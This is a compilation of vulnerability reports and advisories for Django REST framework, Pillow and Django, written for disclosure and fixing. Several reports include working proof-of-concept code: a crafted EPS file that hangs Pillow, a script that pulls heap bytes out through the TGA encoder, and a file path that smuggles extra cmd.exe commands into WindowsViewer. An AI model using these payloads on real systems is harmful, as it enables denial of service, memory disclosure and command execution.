Django REST framework: Potential bypass of Django `DATA_UPLOAD_MAX_MEMORY_SIZE` when parsing oversized JSON and urlencoded request bodies via DRF `request.data`
Summary
While investigating Django REST Framework's request parsing behavior, I identified that DRF's high-level request.data parsing appears to bypass Django's configured DATA_UPLOAD_MAX_MEMORY_SIZE protection for application/json and application/x-www-form-urlencoded request bodies.
In the tested configurations, Django correctly raises RequestDataTooBig when applications access request.body or Django's native request.POST, but DRF successfully parses the same oversized payloads through request.data.
This behavior appears to occur because DRF passes the underlying HttpRequest object directly to parsers, which consume the request stream through Django's lower-level streaming interface rather than the guarded request.body path.
I am reporting this privately because I am unsure whether this behavior is considered part of DRF's intended security boundary, but it appears to bypass a documented Django request-size protection for common DRF request parsing paths and may have availability implications.
What I Verified
I verified the behavior locally using the following combinations:
Django 6.0.7 + DRF 3.17.1 → Affected
Django 6.0.7 + DRF current upstream main → Affected
For both versions, the observed behavior was:
``
Django request.body
→ RequestDataTooBig
Django request.POST (application/x-www-form-urlencoded)
→ RequestDataTooBig
Django request.read()
→ Reads the entire oversized request body
DRF request.data
→ Successfully parses oversized JSON and urlencoded request bodies
`
I also confirmed that:
multipart/form-data remains protected because DRF delegates multipart parsing to Django's multipart parser.
The behavior reproduces on both direct WSGI and ASGI servers without a reverse proxy or external request-size middleware.
Technical Details
The relevant execution flow is:
`
APIView
↓
rest_framework.request.Request
↓
request.data
↓
Request._load_data_and_files()
↓
Request._parse()
↓
Request._load_stream()
↓
self._stream = self._request
↓
JSONParser.parse(...)
or
FormParser.parse(...)
↓
stream.read() / json.load(...)
`
The important implementation detail is that DRF assigns the original Django HttpRequest object as the parser stream.
Unlike request.body and Django's native form parsing, consuming the stream through HttpRequest.read() does not trigger Django's RequestDataTooBig protection.
As a result, DRF's built-in parsers successfully consume oversized request bodies that Django itself would reject through its higher-level request interfaces.
Reproduction Steps
Environment
Python 3.13
Django 6.0.7
Django REST Framework 3.17.1 (also reproduced on current upstream main)
Configure:
`python
DATA_UPLOAD_MAX_MEMORY_SIZE = 10
`
Create a simple DRF API view:
`python
from rest_framework.views import APIView
from rest_framework.response import Response
class DemoView(APIView):
def post(self, request):
return Response(request.data)
`
Start the application.
Send an oversized JSON request:
`
POST /demo
Content-Type: application/json
Content-Length: >10 bytes
`
Example:
`json
{
"value": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
}
`
Observed:
`
HTTP 200
JSON successfully parsed
`
Now compare against:
`python
request.body
`
Observed:
`
RequestDataTooBig
`
Likewise, compare against:
`python
request.POST
`
using
`
application/x-www-form-urlencoded
`
Observed:
`
RequestDataTooBig
`
This demonstrates different enforcement depending on which request API is used.
Root Cause
Django documents HttpRequest.read() as a streaming interface.
DRF exposes request.data as the primary high-level request parsing API.
Currently, DRF forwards the raw Django request stream directly to parsers before any request-size validation equivalent to Django's request.body path occurs.
Consequently:
JSONParser
FormParser
fully consume oversized request bodies despite Django's configured request-size limit.
Security Impact
This does not appear to introduce:
Authentication bypass
Authorization bypass
Remote code execution
Information disclosure
Integrity compromise
However, it may reduce the effectiveness of deployments relying on Django's DATA_UPLOAD_MAX_MEMORY_SIZE to limit request-body resource consumption.
Potential consequences include:
Additional memory allocation during JSON parsing
Additional CPU usage while decoding large JSON payloads
Increased resource consumption when handling oversized request bodies
Reduced effectiveness of Django's configured request-size protection for DRF endpoints using request.data
The practical impact depends on deployment configuration, including:
upstream request-size limits
reverse proxy configuration
authentication
rate limiting
endpoint exposure
Memory Observations
During local testing I observed successful parsing of oversized request bodies despite the configured limit.
Representative measurements showed significantly increased memory allocation while parsing large JSON and urlencoded payloads.
I intentionally did not perform destructive concurrency testing or attempt to exhaust system resources.
Scope
Confirmed affected:
application/json
application/x-www-form-urlencoded
Confirmed not affected:
multipart/form-data
Suggested Fix Direction
One possible approach would be for DRF to enforce Django's configured DATA_UPLOAD_MAX_MEMORY_SIZE before handing the raw request stream to parsers that fully materialize request bodies in memory.
This would preserve Django's configured request-size protection for the common request.data` API without requiring broader changes to Django's documented streaming interface.
Versions Tested
Affected:
Django 6.0.7 + DRF 3.17.1
Django 6.0.7 + DRF current upstream main
I did not perform a complete historical version bisect.
Disclosure
I have not publicly disclosed this behavior.
I am submitting it privately in accordance with the project's security policy because I am unsure whether maintainers consider this part of DRF's intended security boundary.
Note:
Thank you for taking the time to review this report.
If you determine that this behavior should be addressed, I would be happy to help investigate further, develop a fix, add regression tests, and submit a patch if you'd find that helpful.
I have experience as a Python/Django software engineer, security researcher, and open-source contributor, and I'd be glad to contribute if you think that would be useful.
Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests
Summary
AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request.
If a view allows POST (or another write method) but denies GET, an invalid request rendered through AdminRenderer can invoke the view's GET handler and include data from the GET representation in the generated HTML response.
This behavior appears to be specific to AdminRenderer and does not affect the normal JSON rendering path.
---
Details
While investigating the AdminRenderer rendering flow, I observed that invalid write requests are rendered by temporarily overriding the request method and invoking the view's GET handler:
``
with override_method(view, request, "GET") as request:
response = view.get(request, view.args, *view.kwargs)
data = response.data
`
This execution path differs from a normal GET request.
Under normal request processing, a GET request flows through:
`
APIView.dispatch()
└── APIView.initial()
└── APIView.check_permissions()
`
However, during AdminRenderer rendering, the renderer directly invokes:
view.get(...)
A view whose permission class explicitly allowed POST but denied GET still executed its GET handler while rendering an invalid POST request through AdminRenderer.
As a result, data intended to be available only through an authorized GET request was included in the generated HTML response.
---
Proof of Concept
Using a standard ListCreateAPIView.
Permission class:
`
class ProbePermission(BasePermission):
def has_permission(self, request, view):
return request.method == "POST"
View:
class View(ListCreateAPIView):
renderer_classes = (AdminRenderer, JSONRenderer)
permission_classes = (ProbePermission,)
serializer_class = ProbeSerializer
def get_queryset(self):
return [
{
"name": "visible",
"secret": "GET-ONLY-SECRET",
}
]
`
Expected Behaviour
`
GET request
→ 403 Forbidden
Invalid POST request
→ 400 Bad Request
→ Response should contain only validation errors.
→ GET-only data should not be rendered.
`
Observed Behaviour
`
GET request
→ 403 Forbidden
Invalid POST request rendered through AdminRenderer
→ 400 Bad Request
→ HTML response contains:
GET-ONLY-SECRET
`
Tthe same behavior is shown using a minimal APIView implementation.
Observed results:
`
minimal.post_400.handler_calls =
[
("post", "POST"),
("get", "GET")
]
minimal.post_400.contains_secret = True
`
Generic view reproduction:
`
generic.direct_get.status = 403
generic.direct_get.contains_secret = False
generic.post_400.status = 400
generic.post_400.contains_secret = True
generic.post_400.permission_calls =
[
("GenericAdminView", "POST"),
...
("GenericAdminView", "OPTIONS")
]
generic.post_400.queryset_calls =
[
("GenericAdminView", "GET"),
...
]
`
These observations indicate that direct GET requests are correctly denied, while the simulated GET used during AdminRenderer rendering can still retrieve the protected representation.
---
Impact
This issue may result in information disclosure when all of the following conditions are met:
AdminRenderer is enabled.
The client negotiates the HTML renderer (for example using Accept: text/html).
The application permits POST (or another write method).
GET requests are denied by the configured permission class.
The invalid write request returns 400 Bad Request.
The GET representation contains information that the requester would normally not be permitted to access.
This issue does not appear to affect:
JSON rendering
Standard API responses
Successful write requests
The behavior appears limited to the HTML rendering path used by AdminRenderer.
---
Suggested Fix
Possible approaches include:
Perform equivalent permission checks before executing the simulated GET request.
Avoid invoking view.get() when the corresponding GET request would not be permitted.
Fall back to rendering only serializer/form validation errors instead of retrieving the GET representation.
A regression test could create a permission class that allows POST while denying GET, then verify that an invalid POST rendered with AdminRenderer does not include data from the protected GET representation.
---
Environment
Repository:
encode/django-rest-framework
Branch tested:
security-audit-drf
Commit tested:
cf582fb58e9e5ffcc8ed78a2cb9aaa8f4865666a`
Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service
Summary
Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.
The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.
Confirmed affected versions: Pillow 12.0.0 through 12.2.0.
Details
The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.
Relevant code:
elif bytes_mv[:14] == b"%%BeginBinary:":
bytecount = int(byte_arr[14:bytes_read])
self.fp.seek(bytecount, os.SEEK_CUR)
There is no validation that bytecount is non-negative.
If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.
In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.
PoC
Save the following content as pillow_eps_beginbinary_dos.eps:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF
Then run:
python -m pip install "Pillow==12.2.0"
python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY
Expected behavior: Pillow should reject the malformed EPS file with a parser exception.
Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.
The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
Impact
This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().
This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.
Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
``python
im.save(out, format="TGA", compression="tga_rle")
`
Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
`text
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
`
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
`c
state->bytes = (state->bits state->xsize + 7) / 8;
state->buffer = (UINT8 )calloc(1, state->bytes);
`
For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
`c
bytesPerPixel = (state->bits + 7) / 8;
`
This becomes 1, and the encoder uses pixel indexes as byte offsets:
`c
static int
comparePixels(const UINT8 buf, int x, int bytesPerPixel) {
buf += x bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
`
The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
`c
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
`
A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
`python
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
`
Observed on local Pillow 12.3.0.dev0 ASAN target:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
`
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
`python
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")
`
Observed on installed Pillow 12.2.0:
`text
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
`
Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
57343`-byte adjacent heap window to be incorporated into one output file.
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
1. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
---
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
``python
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
`
Contrast with macOS — SAFE (line 164–168):
`python
class MacViewer(Viewer):
def get_command(self, file: str, options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
`
Cross-platform summary:
| Platform | Class | shlex.quote()? | shell=True? | Safe? |
|----------|----------------|------------------|---------------|-------|
| macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
---
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
`python
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
Output:
start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
├─ & echo PWNED → INJECTED COMMAND
└─ & echo "" && ping ... → continues
`
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
`python
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
→ CONFIRMED: arbitrary command injection via get_command()
``
---
Django: DomainNameValidator permits newline characters that may enable HTTP header injection
An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16.
DomainNameValidator does not prohibit newlines in domain names (unless used via a form field, since CharField strips newlines). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because HttpResponse prohibits newlines in HTTP headers.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Bence Nagy for reporting this issue.
Django: GDALRaster may over-read heap memory when constructed from bytes
An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16.
django.contrib.gis.gdal.GDALRaster over-reads its in-memory buffer when constructed from a bytes object, which can disclose adjacent memory or cause service degradation via a potential segmentation fault when the vsi_buffer property is accessed.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Bence Nagy for reporting this issue.
Django has an Improper Handling of Length Parameter Inconsistency
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated Content-Length header can bypass the FILE_UPLOAD_MAX_MEMORY_SIZE limit, potentially loading large files into memory and causing service degradation.
As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on FILE_UPLOAD_MAX_MEMORY_SIZE. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django thanks Kyle Agronick for reporting this issue.
Pillow has a PDF Parsing Trailer Infinite Loop (DoS)
Impact
An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.
Patches
Patched version: 12.2.0.
PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.
Workarounds
Use any version but the affected versions: >= 4.2.0, < 12.2.0
Resources
Fix: https://github.com/python-pillow/Pillow/pull/9519
Pillow has an integer overflow when processing fonts
If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.
Pillow has a heap buffer overflow with nested list coordinates
Passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.
Django has potential DoS via MultiPartParser through crafted multipart uploads
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. MultiPartParser allows remote attackers to degrade performance by submitting multipart uploads with Content-Transfer-Encoding: base64 including excessive whitespace.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
.QuerySet.order_by() is subject to SQL injection in column aliases containing periods when the same alias is, using a suitably crafted dictionary, with dictionary expansion, used in FilteredRelation. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Solomon Kebede for reporting this issue.
Django is vulnerable to SQL injection in column aliases
An issue was discovered in 5.2 before 5.2.9, 5.1 before 5.1.15, and 4.2 before 4.2.27.
FilteredRelation is subject to SQL injection in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to QuerySet.annotate() or QuerySet.alias() on PostgreSQL.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Stackered for reporting this issue.
Django Improper Output Neutralization for Logs vulnerability
An issue was discovered in Django 5.2 before 5.2.2, 5.1 before 5.1.10, and 4.2 before 4.2.22. Internal HTTP response logging does not escape request.path, which allows remote attackers to potentially manipulate log output via crafted URLs. This may lead to log injection or forgery when logs are viewed in terminals or processed by external systems.
Django has a denial-of-service possibility in strip_tags()
An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().
Django Potential Denial of Service (DoS) on Windows
An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.
Django vulnerable to Allocation of Resources Without Limits or Throttling
An issue was discovered in Django 5.1 before 5.1.7, 5.0 before 5.0.13, and 4.2 before 4.2.20. The django.utils.text.wrap() method and wordwrap template filter are subject to a potential denial-of-service attack when used with very long strings.
Django has a potential denial-of-service vulnerability in IPv6 validation
An issue was discovered in Django 5.1 before 5.1.5, 5.0 before 5.0.11, and 4.2 before 4.2.18. Lack of upper-bound limit enforcement in strings passed when performing IPv6 validation could lead to a potential denial-of-service attack. The undocumented and private functions clean_ipv6_address and is_valid_ipv6_address are vulnerable, as is the django.forms.GenericIPAddressField form field. (The django.db.models.GenericIPAddressField model field is not affected.)
Django allows enumeration of user e-mail addresses
An issue was discovered in Django v5.1.1, v5.0.9, and v4.2.16. The django.contrib.auth.forms.PasswordResetForm class, when used in a view implementing password reset flows, allows remote attackers to enumerate user e-mail addresses by sending password reset requests and observing the outcome (only when e-mail sending is consistently failing).